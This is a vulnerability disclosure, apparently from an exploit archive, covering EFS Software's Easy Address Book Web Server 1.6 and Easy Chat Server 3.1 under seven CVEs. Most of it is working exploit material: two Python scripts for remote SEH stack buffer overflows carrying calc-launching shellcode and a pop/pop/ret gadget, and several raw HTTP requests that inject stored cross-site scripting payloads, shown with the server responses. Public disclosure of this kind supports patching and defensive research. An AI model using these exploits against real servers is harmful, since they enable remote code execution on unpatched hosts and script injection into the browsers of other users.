Easy Address Book Web Server 1.6 Buffer Overflow / Cross Site Scripting

# Exploit Title: Easy Address Book Web Server v1.6 - MultipleVulnerabilities# Discovery by: Rafael Pedrero# Discovery Date: 2021-01-10# CVE: CVE-2023-4491, CVE-2023-4492, CVE-2023-4493# Vendor Homepage: http://www.efssoft.com/web-address-book-server.html# Software Link : http://www.efssoft.com/eabws.exe (md5sum:69f77623bb32589fb5343f598b61bbd9)# Tested Version: 1.6# Tested on:  Windows 7, 10# CVE-2023-4491: Vulnerability Type: searchbook Remote Buffer OverflowCVSS v3: 9.8CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HCWE: CWE-119Vulnerability description: There is a remote stack-based buffer overflow(SEH) in /searchbook.ghp in EFS Software Easy Address Book Web Server 1.6.By sending an overly long username string to /searchbook.ghp for asking thename via POST, an attacker may be able to execute arbitrary code.Proof of concept:import socketimport structdef sendbuff():    # > arwin.exe kernel32.dll WinExec    # WinExec is located at 0x776f2c91 in kernel32.dll    shellcode_WinExec = ("\x33\xc0"                          # XOR EAX,EAX"\x50"                              # PUSH EAX      => padding for lpCmdLine"\x68\x2E\x65\x78\x65"              # PUSH ".exe""\x68\x63\x61\x6C\x63"              # PUSH "calc""\x8B\xC4"                          # MOV EAX,ESP"\x6A\x01"                          # PUSH 1"\x50"                              # PUSH EAX"\xBB\x91\x2c\x6f\x77"              # MOV EBX,kernel32.WinExec"\xFF\xD3")                         # CALL EBX    shellcode_system = (        "\x31\xC9"                # xor ecx,ecx        "\x51"                    # push ecx        "\x68\x63\x61\x6C\x63"    # push 0x636c6163        "\x54"                    # push dword ptr esp        "\xB8\x6f\xb1\xdc\x75"    # mov eax,msvcrt.system        "\xFF\xD0")               # call eax    shellcode = shellcode_WinExec    # SEH    junk1 = "A"*455    buffer =  junk1    buffer += "\xeb\x10\x90\x90"            # jmp 0x10 to nops to shellcode    buffer +=  struct.pack('<L',0x1001071e) # pop/pop/ret @ 0x1001071eSSLEAY32.DLL from !Mona 0x1001071e    buffer += "\x90" * 20    buffer += shellcode    junk2 =  "D"*(840 - 455 - len(shellcode) - 4 - 4 - 20)    buffer += junk2    return bufferdef REQ_POST (padding):    POST = (    "POST http://"+str(ip)+"/searchbook.ghp?id=1 HTTP/1.1\r\n"    "User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)Gecko/20100101 Firefox/70.0\r\n"    "Accept:text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8\r\n"    "Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3\r\n"    "Content-Type: application/x-www-form-urlencoded\r\n"    "Content-Length: " + str(108 + len(padding))+ "\r\n"    "Connection: keep-alive\r\n"    "Referer: http://"+str(ip)+"/searchcontact.ghp?id=1\r\n"    "Cookie: SESSIONID=3938; UserID=; PassWD=\r\n"    "Upgrade-Insecure-Requests: 1\r\n"    "Host: "+str(ip)+"\r\n\r\n"    "addrbookid=1&contactid=%3C%21--cid--%3E&cancelflag=0&name=" + padding+"&cancelflag=0&name=AAA&Email=&address=&phone=&other=&search=Start+Search\r\n\r\n"    )    return POSTip = '192.168.X.X'port = 80payload = sendbuff()try:    print "\n[*] Sending POST (searchbook.ghp) exploit to Easy Address BookWeb Server V1.6, length " + str(len(payload))    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    s.connect((ip, port))    s.send(REQ_POST(payload))    s.recv(1024)    s.close()    print "\n[*] Sended POST length " + str(len(payload))except:    print "Connecting error"# CVE-2023-4492: Vulnerability Type: stored Cross-Site Scripting (XSS) - #1CVSS v3: 6.5CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NCWE: CWE-79Vulnerability description: Easy Address Book Web Server v1.6, does notsufficiently encode user-controlled inputs, resulting in a storedCross-Site Scripting (XSS) vulnerability via the /addrbook.ghp (POSTmethod), in multiple parameters.Proof of concept:POST http://localhost/addrbook.ghp?id=1 HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)Gecko/20100101 Firefox/70.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3Content-Type: application/x-www-form-urlencodedContent-Length: 475Origin: http://localhostConnection: keep-aliveReferer: http://localhost/editcontact.ghp?id=1&cid=12Cookie: SESSIONID=15337; UserID=; PassWD=Upgrade-Insecure-Requests: 1Host: localhostaddrbookid=1&contactid=14&cancelflag=0&firstname=%3C%2Fa%3E%3Cscript%3Ealert%2811%29%3B%3C%2Fscript%3E%3Ca%3E&middlename=demo1&lastname=demo1&nickname=demo1&Email=demo1%40demo1.com&company=demo1&jobtitle=demo1&department=demo1&office=demo1&workphone=&workfax=&workaddress=demo1&workcity=&workstate=&workzip=&workcountry=USA&homephone=&homefax=&homeaddress=demo1&homecity=&homestate=&homezip=&homecountry=USA&mobilephone=&pager=&email2=&email3=&homepage=&notes=demo1&save=SaveVulnerable parameters: firstname, homephone, lastname, middlename,workaddress, workcity, workcountry, workphone, workstate, workzipResponse: <TR>              <TD class=row2><SPAN class=genmed><A target=_blankclass=genmed href="viewcontact.ghp?id=1&cid=12">demo1</a><script>alert(1);</script><a> demo1</A></SPAN></TD>              <TD class=row2 align=left><SPAN class=genmed><a href="mailto:[email protected]">[email protected]</a></SPAN></TD>              <TD class=row2 align=left><SPAN class=genmed></SPAN></TD>              <TD class=row2 align=left><SPAN class=genmed></SPAN></TD>              <TD class=row2 align=left><SPAN class=genmed>demo1, , , ,USA</SPAN></TD>              <TD class=row2 align=left><SPAN class=genmed><ahref="editcontact.ghp?id=1&cid=12">Edit</a></SPAN></TD>              <TD class=row2 align=left><SPAN class=genmed><ahref="javascript:deletecontact('deletecontact.ghp?id=1&cid=12','demo1</a><script>alert(1);</script><a> demo1')">Delete</a></SPAN></TD># CVE-2023-4493: Vulnerability Type: stored Cross-Site Scripting (XSS) - #2CVSS v3: 6.5CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NCWE: CWE-79Vulnerability description: Easy Address Book Web Server v1.6, does notsufficiently encode user-controlled inputs, resulting in a storedCross-Site Scripting (XSS) vulnerability via the /users_admin.ghp (POSTmethod, authenticated Admin user), in multiple parameters.Proof of concept:Example 1:POST http://localhost/users_admin.ghp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)Gecko/20100101 Firefox/70.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3Content-Type: application/x-www-form-urlencodedContent-Length: 134Origin: http://localhostConnection: keep-aliveReferer: http://localhost/users_admin.ghpCookie: SESSIONID=19655; UserID=Admin; PassWD=<redacted>Upgrade-Insecure-Requests: 1Host: localhostuserid=2&username=test&password=test&email=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&level=user&state=Enable&update_user=UpdateVulnerable parameter: emailResponse:<form method="POST" action=""><TR><input type="hidden" name="userid" value="2"><TD class=row2 align=left><input type="text" name="username" size="15"value="test"> </TD><TD class=row2 align=left><input type="text" name="password" size="15"value=""> </TD><TD class=row2 align=left><input type="text" name="email" size="35"value=""><script>alert(1);</script>"> </TD><TD class=row2 align=left><select name="level"><option>guest</option><option selected>user</option><option >poweruser</option></select></TD><TD class=row2 align=left><select name="state"><optionselected>Enable</option><option >Disable</option></select></TD><TD class=row2 align=left><input type="submit" value="Update"name="update_user"></TD><TD class=row2><SPAN class=genmed><A class=genmedhref="user_delete_admin.ghp?2">Delete</A></SPAN></TD></TR></form>Example 2:POST http://localhost/users_admin.ghp HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)Gecko/20100101 Firefox/70.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3Content-Type: application/x-www-form-urlencodedContent-Length: 144Origin: http://localhostConnection: keep-aliveReferer: http://localhost/users_admin.ghpCookie: SESSIONID=19655; UserID=Admin; PassWD=<redacted>Upgrade-Insecure-Requests: 1Host: localhostuserid=2&username=%22%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E&password=test&email=tt%40fsdfs.com&level=user&state=Enable&update_user=UpdateVulnerable parameter: usernameResponse:<form method="POST" action=""><TR><input type="hidden" name="userid" value="2"><TD class=row2 align=left><input type="text" name="username" size="15"value=""><script>alert(1);</script>"> </TD><TD class=row2 align=left><input type="text" name="password" size="15"value=""> </TD><TD class=row2 align=left><input type="text" name="email" size="35" value="[email protected]"> </TD><TD class=row2 align=left><select name="level"><option>guest</option><option selected>user</option><option >poweruser</option></select></TD><TD class=row2 align=left><select name="state"><optionselected>Enable</option><option >Disable</option></select></TD><TD class=row2 align=left><input type="submit" value="Update"name="update_user"></TD><TD class=row2><SPAN class=genmed><A class=genmedhref="user_delete_admin.ghp?2">Delete</A></SPAN></TD></TR></form>-------------------------------------------------------------------------------------------------------------------------------------------------------------------------------# Exploit Title: Easy Chat Server v3.1 - Multiple Vulnerabilities# Discovery by: Rafael Pedrero# Discovery Date: 2021-01-09# CVE: CVE-2023-4494, CVE-2023-4495, CVE-2023-4496, CVE-2023-4497# Vendor Homepage: http://www.echatserver.com/# Software Link : http://echatserver.com/ecssetup.exe (md5sum:c682138ebbea9af7948a3f142bbd054b)# Tested Version: 3.1# Tested on:  Windows 7, 10# CVE-2023-4494: Vulnerability Type: register Remote Buffer OverflowCVSS v3: 9.8CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:HCWE: CWE-119Vulnerability description: There is a remote stack-based buffer overflow(SEH) in register.ghp in EFS Software Easy Chat Server versions 2.0 to 3.1.By sending an overly long username string to register.ghp for asking theusername via GET, an attacker may be able to execute arbitrary code.Proof of concept:import socketdef sendbuff():    # calc shellcode from https://code.google.com/p/win-exec-calc-shellcode/    # msfencode -b "\x00\x20" -i w32-exec-calc-shellcode.bin    # [*] x86/shikata_ga_nai succeeded with size 101 (iteration=1)    shellcode = (    "\xd9\xcb\xbe\xb9\x23\x67\x31\xd9\x74\x24\xf4\x5a\x29\xc9" +    "\xb1\x13\x31\x72\x19\x83\xc2\x04\x03\x72\x15\x5b\xd6\x56" +    "\xe3\xc9\x71\xfa\x62\x81\xe2\x75\x82\x0b\xb3\xe1\xc0\xd9" +    "\x0b\x61\xa0\x11\xe7\x03\x41\x84\x7c\xdb\xd2\xa8\x9a\x97" +    "\xba\x68\x10\xfb\x5b\xe8\xad\x70\x7b\x28\xb3\x86\x08\x64" +    "\xac\x52\x0e\x8d\xdd\x2d\x3c\x3c\xa0\xfc\xbc\x82\x23\xa8" +    "\xd7\x94\x6e\x23\xd9\xe3\x05\xd4\x05\xf2\x1b\xe9\x09\x5a" +    "\x1c\x39\xbd"    )    # SEH    junk1 = "A"*473    buffer =  junk1    buffer += "\xeb\x06\x90\x90"           # short jmp to shellcode    buffer += "\x1e\x0e\x01\x10"           # pop/pop/ret @ 0x10010E1ESSLEAY32.DLL from !Mona    buffer += shellcode    junk2 =  "D"*(600 - 473 - len(shellcode) - 4 - 4)    buffer += junk2    return bufferdef REQ_GET (padding):    GET = (    "GET /register.ghp?username=" + padding + "&password= HTTP/1.1\r\n"    "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML,like Gecko) Chrome/86.0.4240.75 Safari/537.36\r\n"    "Host: "+str(ip)+":80\r\n"    "Accept-Language: es-es\r\n"    "Accept-Encoding: gzip, deflate\r\n"    "Referer: http://"+str(ip)+"\r\n"    "Connection: Keep-Alive\r\n\r\n"    )    return GETip = '192.168.X.X' # change the ip addressport = 80payload = sendbuff()try:    print "\n[*] Sending GET (register.ghp) exploit to EFS Easy Chat Server3.1, length " + str(len(payload))    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)    s.connect((ip, port))    s.send(REQ_GET(payload))    s.recv(1024)    s.close()    print "\n[*] Sended GET length " + str(len(payload))except:    print "Connection error"# CVE-2023-4495: Vulnerability Type: stored Cross-Site Scripting (XSS) - #1CVSS v3: 6.5CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NCWE: CWE-79Vulnerability description: Easy Chat Server v3.1, does not sufficientlyencode user-controlled inputs, resulting in a stored Cross-Site Scripting(XSS) vulnerability via the /registresult.htm (POST method), in Resumeparameter. The XSS is loaded from /register.ghp.Proof of concept:POST http://localhost/registresult.htm HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)Gecko/20100101 Firefox/70.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3Content-Type: application/x-www-form-urlencodedContent-Length: 257Origin: http://localhostConnection: keep-aliveReferer: http://localhost/register.ghp?username=<redacted>&password=<redacted>Upgrade-Insecure-Requests: 1Host: localhostUserName=<redacted>&Password=<redacted>&Password1=demo1&Sex=0&Email=demo1%25252540demo1.com&Icon=0.gif&Resume=%3C%2FTEXTAREA%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E%3CTEXTAREA%3E&cw=0&RoomID=%3C%21--%24RoomID--%3E&RepUserName=%3C%21--%24UserName--%3E&submit1=ChangeResponse<BODY bgcolor="#b8d0dc"><center>Congratulations! Your information has beenchanged successfully.</center></body>Go to:http://localhost/register.ghp?username=<redacted>&password=<redacted>Response - xss:<TR><TD>Your profile/interests:<BR><TEXTAREA rows="4" cols="30"name="Resume"></TEXTAREA><script>alert(1)</script><TEXTAREA></TEXTAREA><INPUT type="hidden" name="cw" value="0"><INPUT type="hidden" name="RoomID" value="<!--$RoomID-->"><INPUT type="hidden" name="RepUserName" value="<!--$UserName-->"></TD></TR># CVE-2023-4496: Vulnerability Type: stored Cross-Site Scripting (XSS) - #2CVSS v3: 6.5CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NCWE: CWE-79Vulnerability description: Easy Chat Server v3.1, does not sufficientlyencode user-controlled inputs, resulting in a stored Cross-Site Scripting(XSS) vulnerability via the /body2.ghp (POST method), in mtowho parameter.Proof of concept:POST http://localhost/body2.ghp?username=<redacted>&password=<redacted>&room=4HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)Gecko/20100101 Firefox/70.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3Content-Type: application/x-www-form-urlencodedContent-Length: 248Origin: http://localhostConnection: keep-aliveReferer: http://localhost/chatsubmit.ghp?username=<redacted>&password=<redacted>&room=4Upgrade-Insecure-Requests: 1Host: localhoststaticname=%3A000539&tnewname=&msayinfo=demo+&mnewname=&mtowho=%3C%2Fscript%3E%3Cscript%3Ealert%281%29%3B%3C%2Fscript%3E%3Cscript%3E&mfilters=0&mfont=0&mfcolor=1&elist=100&seltype=Theme&msg=&Submit=Send&sc=on&notifysound=on&message=demo+&chat_flag=Response:<html><head></head><body><script language="JavaScript"><!--parent.board.document.body.innerHTML=parent.board.document.body.innerHTML+"<br><fontcolor=green size=2>08:22:16 <a target=chatsubmithref=javascript:parent.chatsubmit.getname('<redacted>');><redacted></a> =><a target=chatsubmithref=javascript:parent.chatsubmit.getname('</script><script>alert(1);</script><script>');></script><script>alert(1);</script><script></a></font><font color=#000000 size=2>demo </font> <img src=/face/100.gifborder=0>";// --></script></body></html># CVE-2023-4497: Vulnerability Type: stored Cross-Site Scripting (XSS) - #3CVSS v3: 6.5CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:NCWE: CWE-79Vulnerability description: Easy Chat Server v3.1, does not sufficientlyencode user-controlled inputs, resulting in a stored Cross-Site Scripting(XSS) vulnerability via the /registresult.htm (POST method), in Iconparameter. The XSS is loaded from /users.ghp.Proof of concept:POST /registresult.htm HTTP/1.1Host: localhostUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:70.0)Gecko/20100101 Firefox/70.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3Accept-Encoding: gzip, deflateContent-Type: application/x-www-form-urlencodedContent-Length: 235Origin: http://localhostConnection: closeReferer: http://localhost/register.ghp?username=<redacted>&password=<redacted>Upgrade-Insecure-Requests: 1UserName=<redacted>&Password=<redacted>&Password1=<redacted>&Sex=0&Email=<redacted>%252525252540<redacted>.com&Icon="><script>alert(111)</script><img%20src="1.gif&Resume=AAA&cw=0&RoomID=%3C%21--%24RoomID--%3E&RepUserName=%3C%21--%24UserName--%3E&submit1=ChangeResponse:<BODY bgcolor="#b8d0dc"><center>Congratulations! Your information has beenchanged successfully.</center></body>When user information page load:http://localhost/users.ghp?username=<redacted>&password=<redacted>&room=4&nbsp;<font color="red">[vip room]</font><br><br>[Online users:1]<br><br>[<ahref="javascript:parent.chatsubmit.getname('All');"target="chatsubmit">All</a>]<br><br><script>if(navigator.appName!="Netscape" && parent.chatsubmit.document &&parent.chatsubmit.document.readyState == "complete")parent.chatsubmit.listcolorchange();</script><img src="/images/""><script>alert(111)</script><i>[<ahref="javascript:parent.chatsubmit.getname('<redacted>');"target="chatsubmit"><redacted></a>]<==<br><br><br><br>[<a href="javascript:OnRegister();">Change infomation</a>]</i>